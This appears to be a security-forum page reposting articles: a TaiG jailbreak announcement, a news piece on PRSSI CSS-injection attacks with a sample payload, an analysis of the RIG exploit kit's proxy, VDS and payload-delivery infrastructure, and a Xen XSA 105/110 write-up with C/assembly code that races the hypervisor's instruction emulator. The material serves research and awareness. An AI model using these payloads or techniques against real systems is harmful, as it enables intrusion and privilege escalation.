  17. [h=1]TaiG Jailbreak Tool[/h][h=2]TaiG Team Announcement[/h] Dear Taig Jailbreak Tool users, Happy Chinese New Year! In the beginning at the Year of the Goat, we welcomes a whole new future. According to the Chinese old traditions, Taig Team prepared a special Spring Festival gift for you all. Early this month, Apple released iOS 8.1.3, part of users have successfully upgraded to the newest system version, while temporarily there is no untethered jailbreak mothed for iOS 8.1.3. As we said before, Taig Jailbreak Team have already completed the untethered jailbreak support for iOS 8.2. Recently, Apple just released the iOS 8.2 beta 5 version, which means the official iOS 8.2 would come soon. So we decided to announce the TaiG Jailbreak Tool for iOS 8.2 beta 1&2 on Windows. To those who have already upgraded to iOS 8.1.3, we suggest you upgrading to iOS 8.2 beta 1&2 by using TaiG Firmware Upgrade Tool, and then use TaiG Jailbreak Tool to jailbreak your device. To TaiG users, thanks for your support and kindness; to Chinese and foreign media, thanks for your reports and attention. TaiG Jailbreak Team wish you a happy Goat Year and good luck. Sursa: TaiG Jailbreak Tool – untether Jailbreak for iOS8.0-8.1.2, TaiG official website, Download TaiG
  18. Evil CSS injection bug warning: Don't let hackers cross paths with your website Say hello to a fascinating vulnerability in web scripts 20 Feb 2015 at 10:31, John Leyden Developers should check their websites for path-relative stylesheet import (PRSSI) vulnerabilities, which can allow miscreants to hijack web pages and steal login cookies, security researchers have urged. PRSSI flaws were documented by Gareth Heyes early last year; he calls them relative path overwrites. The trick is to lure browsers into importing malicious CSS. Imagine you've found a website with the script: http://somesite.ninja/forum/showthreads.php ...which shows a list of threads by their title in a forum. The HTML output of the script contains the line: <link href="styles.css" rel="stylesheet" type="text/css" /> If you create a forum thread with the title: Hello world {}*{xss:expression(open(alert(1)))} ...and trick logged-in users into clicking on this link: 404 Not Found ...then something rather interesting may happen: the web browser attempts to fetch styles.css by its relative path, which will be /forum/showthreads.php/styles.css rather than what the developer may have expected: /forum/styles.css. Unless configured otherwise, the web server will return the HTML output of showthreads.php instead of styles.css when the browser tries to fetch that stylesheet. That HTML, a list of forum threads, is useless as a stylesheet, but it does contain your own CSS in one of the thread titles: {}*{xss:expression(open(alert(1)))} This embedded JavaScript, alert(1), is imported and will execute in the context of the logged-in user, popping up a dialog box. Replace that code with something more evil, like something that grabs the session cookie and sends it to a malicious server, and congrats: you've earned a black hat. Exactly how the injected CSS is formatted will depend on the web browser, it seems. It also depends on how the web server handles PHP scripts and the like. PortSwigger Web Security, the outfit behind the bug-hunting Burp Suite, warns this class of vulnerability is esoteric in nature and likely missed by software auditors. A blog post by the biz describes a real PRSSI flaw in the popular bulletin board phpBB31 as an example. PortSwigger, though, is unaware of crooks exploiting PRSSIs in the wild. To stop bad guys and girls exploiting CSS paths, developers are urged to: Avoid using path-relative links Set the server header X-Frame-Options to "deny" on all pages Set the server header X-Content-Type-Options to "nosniff" on all pages Set a modern doctype on all pages The biz said it published its blog post in order to “explain a vulnerability and attack that is not widely understood, and to give people a means of identifying if they are vulnerable.” “Someone else invented the core attack technique a few months ago, but we have developed it further and demonstrated its use in real world situations,” Dafydd Stuttard founder and boss of PortSwigger Web Security told El Reg this week. “This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pen testers.” Stuttard added: “We aren't aware of any cases of real-world exploitation. We chose that web app as a research target because it is widely used and relatively secure generally. After we reported the bug to the app's authors, we waited for them to fix before using the example to raise awareness. It's likely that lots of live sites are vulnerable, and liable to be targeted as awareness of the issue increases.” ® Bootnote 1 The phpBB vulnerability in question was patched in version 3.0.13 of the software. Sursa: http://www.theregister.co.uk/2015/02/20/prssi_web_vuln/
  19. Cica nu ar fi reparata complet.
  20. RIG Exploit Kit – Diving Deeper into the Infrastructure February 23, 2015 Posted By SpiderLabs Research Following our previous blog post about the leaking of the RIG exploit kit's source code, we dug deeper into the architecture that facilitates the massive infections using RIG. The screen shot below diagrams RIG's infrastructure. RIG Exploit Kit Infrastructure Most commonly we see only the one end of this rabbit hole--the compromised site and the proxy server. Below we will detail what happens behind the scenes during the infection and explain how RIG customers use it to deploy their infection campaigns. We weren't kidding about digging deep, so grab a cup of coffee because you may be here a while. First thing first RIG's infrastructure might look complicated, but it's rather straightforward for the customer who simply wants to infect victims and generate revenue. So, we'll start with the basics. For the purposes of our analysis, we'll take the perspective of a RIG customer that already maintains a backdoor on a popular web site and now wants to monetize that traffic. First, the RIG customer needs a URL to which they can redirect the traffic to exploit victims' machines. RIG customer API - "api.php" RIG Customer API ("Get Link" button - generates customer's specific URL) In order to infect victims, the RIG customer has to choose a payload and upload it through the admin panel – but we won't focus on this. Once the RIG customer uploads the payload, it makes sense that the next step would be pointing victims to the infection page. However, in order to evade detection by web filters and URL lists, the landing page needs to update regularly. RIG provides an API for this purpose that creates new, valid infection URLs on demand. Clicking on the "Get Link" button in the interface pictured above will provide the API URL. The URL will be in the following format: hxxp://[RIG-Instance-Server]/api.php?apitoken=[API TOKEN] The "API TOKEN" at the end of the URL is a unique key that combines the user's ID with the current "Flow ID" (pictured in Figure 2 below), serializes the combination and encrypts it using RC4 with a private key configurable only by the main RIG administrator. Each RIG user can have up to 2 distinct flows, which allows for infections via different payloads for each flow. Code snippet that appends the API token The PROXY Layer The output of the URL above is the "PROXY" URL which functions as the "infection page". Here is an example of the structure of the "PROXY" URL: hxxp://[PROXY Server]/proxy.php?PHPSSESID=njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw-4|OTMxOGYwMjdkZTMxOGFmN2M5OWZkMDNjODE0MmMyODM Every request to a PROXY URL (e.g., "index.php?PHPSSESID=…", "proxy.php?PHPSSESID=…", or more commonly just "hxxp://current-proxy-domain/?PHPSESSID=…") contains the token of a RIG customer for the specific campaign. Basically, all customers using the same RIG exploit kit server share the PROXY URL. Before we discuss the PROXY core, let's take a closer look at the URI generated by the "api.php". The URI is divided into 2 parts separated with the character "|". Here's the first part from our example: njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw-4 This encrypted string is actually a URL for a different server that handles requests to load an exploit and send it back to the victim's machine. Let's take a look at how this URL is generated: Encrypted VDS URL code To decrypt this content we need to use RC4 with the key and then use the function "base64url_decode". Here is the result of the string above, which is the VDS server that we will examine later on: http://vdstomama[.]com/core.php The second part of the URL structure is less exciting. The objective is to make sure the URL becomes invalid after a certain period of time - which is configurable by the RIG exploit kit admin; the default is 720 seconds (12 minutes). This technique is very effective because after 12 minutes the URL doesn't serve the exploits and is useless to security researchers trying to analyze such URLs. Token generation code The screenshot above describes the generation process of the token, which is a combination of the time, the user ID and the user login name all together with MD5 and later on with base64url_encode. Now, let's get back to the place where the PROXY URLs are managed: Proxy list management Only the RIG exploit kit administrator can manage this list. RIG customers have no control over it. The admin can bulk-load domains or load them one-by-one. This list functions as a queue using the first item (topmost) until anti-virus tools begin detecting it or it is no longer online. On every RIG admin server, a scheduled task runs every 5 minutes to check the first active PROXY on the list: PHP code to check the domains to be used as proxy servers The domain is scanned by the "avdetect.com" service, and it is removed from the active list once it is detected as malicious. Additionally, if anti-virus vendors start to blacklist the PROXY server, then the RIG admin code will send the PROXY server a command to switch its assigned domain. Proxy domains blacklisting code The RIG administration server accesses the PROXY with a unique key along with the domain that should be removed. The domain is inserted into a blacklist file that is checked each time a victim is browsing the PROXY server. The VDS Layer – Providing the landing page and exploits VDS stands for Virtual Dedicated Server. VDS serves the role of an exploit generator. The main objective is to avoid detection by keeping those servers hidden from the world. According to records we've collected since August 2014, the RIG developers only used three different VDS servers. First stage – fetching the landing page: The first time the VDS is accessed results in the landing page content. The HTML/JS code itself is obfuscated using a function called CryptJS written by RIG's developers. PHP function obfuscates the malicious JS code After obfuscating the code, RIG's developers take extra caution by encrypting all of the data sent to the PROXY to avoid detection by IPS or anything monitoring the traffic. PHP code serving the landing page (+ notify the admin server) After sending the content back to the PROXY as depicted in the screenshot above, the VDS reports back to the RIG admin server about the exploit attempt. Second stage – fetching the exploits: The landing page will check if the browser supports Java, Flash or Silverlight. According to the results of the plug-in enumeration code, the victim's browser will request the respective exploits. The PROXY receives the request from the victim machine and delivers it to the VDS. In order to request the appropriate exploit, the victim's browser will issue another request with a new parameter named "req". For example, if the value is "swf", the VDS server will send back the Flash exploit. For example: hxxp://[redacted].ga/proxy.php?req=swf&num=8454&PHPSSESID=njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw- 4|OTMxOGYwMjdkZTMxOGFmN2M5OWZkMDNjODE0MmMyODM However, unlike the plug-in exploits that are only served if applicable, the Internet Explorer exploit is served without any prerequisites, already in the first VDS response along with the initial landing page. Third stage – fetching the payload: After it's exploited, the victim machine requests the payload using the parameter "req" with the value "mp3". Payload serving code The VDS sends a request to the RIG admin server along with information about the victim machine and asks for the relevant payload that should be delivered. The payload is pulled from the RIG admin server and encrypted using an RC4 key (a different key from the previous one) to avoid anti-virus detection. Encrypted payload Since this key is less important, it is sent to the victim machine during the exploitation phase. The executable itself is decrypted on the victim machine, written to the file system and then executed. For example, if the successful exploit is CVE-2014-6332 then the decryption phase looks like this: Payload decryption (part of the exploits) RIG Administration Server The RIG developers planned the infrastructure as a layered structure: the RIG admin server is basically nothing but a control panel and does not proactively exploit victim machines. Therefore, the RIG admin server can function for a long period of time behind a service such as CloudFlare, unlike the proxies, which are replaced regularly. The admin server provides RIG customers with full control of their malware campaign and does not require any specialized knowledge of the back end. The RIG customer only needs to (1) figure out how to spread the infection URLs (typically by compromising web sites with large volumes of traffic, or malvertising) and (2) ensure the payload is stable. Payload management panel Just like its competition, the RIG exploit kit provides complete statistics of the campaign's achievements. Flow statistics The screenshot above displays the main statistics page of the exploit kit. The overall exploitation rate for this specific "flow" is 14.7%. You can notice that the overall exploitation is divided between Flash and Internat Explorer exploits. Specific CVEs include: CVE-0214-0311 in Flash; CVE-2013-2551 in versions 7, 8, and 9 of MSIE; and CVE-2014-6332 in Internet Explorer 10. Additional information reported includes countries targeted, browser versions and OS. The business model Here you'll see an advertisment for the RIG exploit kit on a Russian forum: RIG advertisement This advertisement is aimed at customers that want to distribute their malware (payload) using the RIG exploit kit. The criminals behind RIG also established a reselling model, whereby each reseller can have their own RIG admin panel from which their own customers will deploy infection campaigns. Thus far our research has shown at least two large resellers accounting for over 250 customers combined. We can only assume there are additional resellers. Nonetheless, in comparison to the main RIG admin panel, which provided services to about 360 customers, it becomes evident that the reselling model almost doubled their profit. The data we examined accounts for the period of time between August 2014 and February 2015. RIG reselling model Multiplying 600 customers by $150 (the price per week of use), we estimate that the RIG exploit kit could be generating up to $90,000 per week. This rough estimate doesn't take into account operational expenses or customers that pay with a portion of their infections (similar to the Magnitude exploit kit's model), but it still shows that exploit kits can result in a very nice profit for the developers. Trustwave customers using Trustwave SWG or Trustwave UTM are protected against RIG Exploit Kit without the need for any further updates. Sursa: https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/
  21. The Dangers of x86 Emulation: Xen XSA 110 and 105 Posted by Felix Wilhelm Developing a secure and feature rich hypervisor is no easy task. Recently, the open source Xen hypervisor was affected by two interesting vulnerabilities involving its x86 emulation code: XSA 110 and XSA 105. Both bugs show that the attack surface of hypervisors is often larger than expected. XSA 105 was originally reported by Andrei Lutas from BitDefender. The patch adds missing privilege checks to the emulation routines of several critical system instructions including LGDT and LIDT. The vulnerable code can be reached from unprivileged user code running inside hardware virtual machine (HVM) guests and can be used to escalate guest privileges. XSA 110 was reported by Jan Beulich from SUSE and concerns insufficient checks when emulating long jumps, calls or returns. Readers interested in virtualization technology might wonder about the existence of an instruction emulator in the HVM hypervisor code: One of the advantages of hardware-assisted virtualization is the ability to execute privileged instructions natively and securely. While this is true in general, emulation is still needed for some special cases: Instructions accessing memory mapped IO space. VMs running in real mode: Due to restrictions of earlier Intel VMX versions many popular hypervisors emulate VM code running in real mode. Support instructions not yet implemented by the physical hardware. In practice, all mainstream hypervisors include at least basic emulation support with very varying quality. While memory flaws in the emulator code could allow for a complete hypervisor breakout, logic bugs involving wrongly emulated instructions are much more common. In the worst case, these bugs can result in privilege escalation vulnerabilities inside the guest VM, as it is the case for XSA 105. As mentioned in the advisory, the bug is caused by missing privilege checks for certain special instructions. In order to exploit this bug for privilege escalation, we require a way to emulate arbitrary instructions as a normal user inside a VM. Emulating Arbitrary Instructions Fortunately, emulation of arbitrary instructions can be triggered easily on guests with multiple virtual CPUs, as described by Andrej Lutas in his writeup: First, we raise an #UD exception on one the CPUs by executing an invalid opcode. This will trigger an VM exit, which is handled by the main vm exit handler. For Intel CPUs, this handler is the vmx_vmexit_handler function defined in x86/hvm/vmx/vmx.c: void vmx_vmexit_handler(struct cpu_user_regs *regs) { … switch ( exit_reason ) { … case TRAP_invalid_op: HVMTRACE_1D(TRAP, vector); vmx_vmexit_ud_intercept(regs); break; … } While the complete exit handler is quite complex, at its core is just a big switch statement based on the VMX exit reason. In the case of an #UD exception, the vmx_vmxeit_ud_intercept function is called: static void vmx_vmexit_ud_intercept(struct cpu_user_regs *regs){ struct hvm_emulate_ctxt ctxt; int rc; hvm_emulate_prepare(&ctxt, regs); rc = hvm_emulate_one(&ctxt); ... } As we can see, the function is a small wrapper around hvm_emulate_one, which in turn calls into the x86_emulate function defined in x86/x86_emulate/x86_emulate.c for the actual emulation. One interesting aspect for us is that x86_emulate fetches the actual bytes to be emulated directly from the guest memory. This means, that there exists a race condition from the time when the #UD exception is raised to the point when x86_emulate fetches the instruction bytes. If we use our second virtual CPU to manipulate the originally invalid opcode during this time span, we can force emulation of arbitrary assembly instructions. While winning this race reliably is quite hard, even a small chance to win is sufficient for our use case. The code snippet below shows a minimal sample that will trigger emulation of a far return using this technique: #include <stdlib.h> #include <pthread.h> #include <time.h> #include <stdio.h> #include <sys/mman.h> #include <unistd.h> // Initialize barrier with 0 long barrier=0; void *thread_one(void *x) { __asm volatile(".intel_syntax noprefix\n" ".code64\n" // Write UD2 instruction at position of ret "mov byte ptr [trigger], 0x0F\n" "mov byte ptr [trigger+1], 0x0B\n" // Increase barrier "lea rax, [barrier]\n" "lock inc qword ptr [rax]\n" "wait:\n" "cmp qword ptr [rax], 2\n" // Wait until thread_two arrives at barrier "jnz wait\n" "trigger:\n" // Will be replaced with UD2 by now "rex64 retf\n" ".att_syntax prefix\n" ); } void *thread_two(void *x) { __asm volatile(".intel_syntax noprefix\n" ".code64\n" "lea rax, [barrier]\n" "lock inc qword ptr [rax]\n" "wait2:\n" "cmp qword ptr [rax], 2\n" "jnz wait2\n" // Restore far ret instruction "mov byte ptr [trigger], 0x48\n" "mov byte ptr [trigger+1], 0xCB\n" ".att_syntax prefix\n" ); } void doStuff(void) { // Initialize and start both threads. pthread_t h1, h2; pthread_create(&h1,NULL,thread_one,NULL); pthread_create(&h2,NULL,thread_two,NULL); pthread_join(h1,0); pthread_join(h2,0); } int main(int argc, char **argv) { // We have to make the code of thread_one writable in order to enable // patching of the instruction. Simply mprotecting the whole page is the // easiest way to do this. long page_size = sysconf(_SC_PAGESIZE); long address = (long) thread_one; mprotect(((void *) (address & ~(page_size-1))), page_size, PROT_READ | PROT_WRITE | PROT_EXEC); doStuff(); return 0; } Of course without bugs in the emulator code this ability is not very interesting in itself. Besides classic low-level code issues like memory corruptions there are two features of an emulator that can be an interesting source of security vulnerabilities: Guest Memory Access: Most emulated instructions will access VM memory either directly or indirectly. During normal operation memory access checks are performed automatically by the hardware. However, when emulating all these checks have to be performed by the hypervisor itself. The low level nature of this code, as well as the high complexity of the x86 architecture makes this work quite error prone. Privileged Instructions: Several x86 instructions should only be called from ring 0. This includes instructions that manipulate control or system registers, instructions that influence segment selector or even simple ones like “HLT” which halts the CPU. Xen XSA 105 Xen XSA 105 is a quite simple example of the second bug type. When looking at the implementation of the wrmsr instruction inside the Xen emulator, we can see that the instruction will be only be evaluated when the caller is in ring 0: case 0x30: /* wrmsr */ { uint64_t val = ((uint64_t)_regs.edx << 32) | (uint32_t)_regs.eax; [B]generate_exception_if(!mode_ring0(), EXC_GP, 0);[/B] fail_if(ops->write_msr == NULL); if ( (rc = ops->write_msr((uint32_t)_regs.ecx, val, ctxt)) != 0 ) goto done; break; } However, this check is missing for several other functions including HLT, LIDT and LGDT. case 0xf4: /* hlt */ ctxt->retire.flags.hlt = 1; break; … case 2: /* lgdt */ case 3: /* lidt */ generate_exception_if(ea.type != OP_MEM, EXC_UD, -1); fail_if(ops->write_segment == NULL); memset(®, 0, sizeof(reg)); if ( (rc = read_ulong(ea.mem.seg, ea.mem.off+0, &limit, 2, ctxt, ops)) || (rc = read_ulong(ea.mem.seg, ea.mem.off+2, &base, mode_64bit() ? 8 : 4, ctxt, ops)) ) goto done; reg.base = base; reg.limit = limit; if ( op_bytes == 2 ) reg.base &= 0xffffff; if ( (rc = ops->write_segment((modrm_reg & 1) ? x86_seg_idtr : x86_seg_gdtr, ®, ctxt)) ) goto done; break; Because LIDT allows the overwriting of the Interrupt Descriptor Table which stores the handler of all hardware and software interrupts, privilege escalation is easily possible. The already mentioned whitepaper describes the exploitation process on Windows in detail. The patch for XSA 105 is as simple as the bug. Just add ring 0 checks in front of all privileged instructions. Xen XSA 110 The second recent bug involving the Xen emulator is Xen XSA 110, which was discovered by Jan Beulich from SUSE. X86 supports far branch instructions that support jumping to a new address while simultaneously changing the code segment selector to a new value. In order to understand the underlying details of this vulnerability, a bit of background about the role of segment selectors on modern operating systems is needed: When we are talking about ring 0 or ring 3 mode, we are actually talking about the “Current Privilege Level” (CPL) of the currently executing code. The CPL is encoded in the lowest bits of the CS segment selector and cannot be changed by normal means. Direct access to the CS register is impossible and instructions that change the value of the CS register take care to ensure that a switch to ring 0 is only possible under special predefined circumstances. Besides being used for enabling and disabling access to privileged instructions, the CPL is used whenever memory is accessed. The “Descriptor Privilege Level” (DPL) of a memory segment that is encoded in the segment descriptor restricts access to code that executes with a CPL smaller or equal to DPL. The issue patched with XSA 110 is the fact that the actual checks performed by the Xen emulator when changing the value of the CS register are much weaker than they should be. The following code is part of the vulnerable function protmode_load_seg defined in x86/x86_emulate/x86_emulate.c: dpl = (desc.b >> 13) & 3; rpl = sel & 3; cpl = ss.attr.fields.dpl; switch ( seg ) { case x86_seg_cs: /* Code segment? */ if ( !(desc.b & (1u<<11)) ) goto raise_exn; /* Non-conforming segment: check DPL against RPL. */ if ( ((desc.b & (6u<<9)) != (6u<<9)) && (dpl != rpl) ) goto raise_exn; break; protmode_load_seg is indirectly called by the emulation routines of all far branching instructions (RETF, CALL and JMP). Its purpose is to change the value of a segment selector register after validating the new value. However, in the unpatched version no sufficient checking is performed. An attacker wanting to escalate privileges on a Linux system would choose the CS register value 0x10, which corresponds to the CS value used by the Linux kernel. In this case the variables rpl and dpl in Listing 6 would be 0, while the current CPL would still be 3. But because the switch for the code segment does not check the current CPL in any way, the instruction would be emulated. While we originally thought this bug would be sufficient for privilege escalation, this does not seem to be the case due to an interesting and lesser-known property of the Intel x86 architecture. While the current CPL is always stored in the lowest bits of the CS selector, there is a hard requirement that the same value is also stored in the DPL field of the stack segment. Because this requirement is not actually handled by the emulator code, an exploit targeting this vulnerability will result in a crash of the virtual machine. A normal user should not be able to trigger this behavior, but it is a significantly less interesting bug. Summary Xen XSA 105 and XSA 110 are two bugs involving the Xen x86 emulation code. They both can be used to crash a virtual machine as an unprivileged user and XSA 105 even allows privilege escalation independent of vulnerabilities in the virtualized operating system. Bugs like this show that hypervisors are often not as hardened as many people assume and the introduction of additional software layers will lead to additional bugs. Full exploit code for Xen XSA 105 will be presented during the Exploiting Hypervisors Workshop at Troopers 15 and will be released publicly sometimes after that. Sursa: http://www.insinuator.net/2015/02/the-dangers-of-x86-emulation-xen-xsa-110-and-105/
  22. Da, vreau si eu un SSD produs inainte de 2006
  23. OFFENSIVE SECURITY LECTURES - 12: EXPLOIT DEVELOPMENT 103 Description: Third lecture in the exploit development lecture series. Coverage of heap and format string exploition (with demos), as well as exploit mitigations (ASLR, NX/DEP, stack cookies, EMET, etc...) PDF:- https://docs.google.com/presentation/d/1jG-doOVFTg2ayamQ7E5tlfSw3HLb6VOARUu48TTMpHo/edit?usp=sharing Reading: Read 0x680 up to 0x6A0 in HAOE Via: http://www.securitytube.net/video/12450
×
×
  • Create New...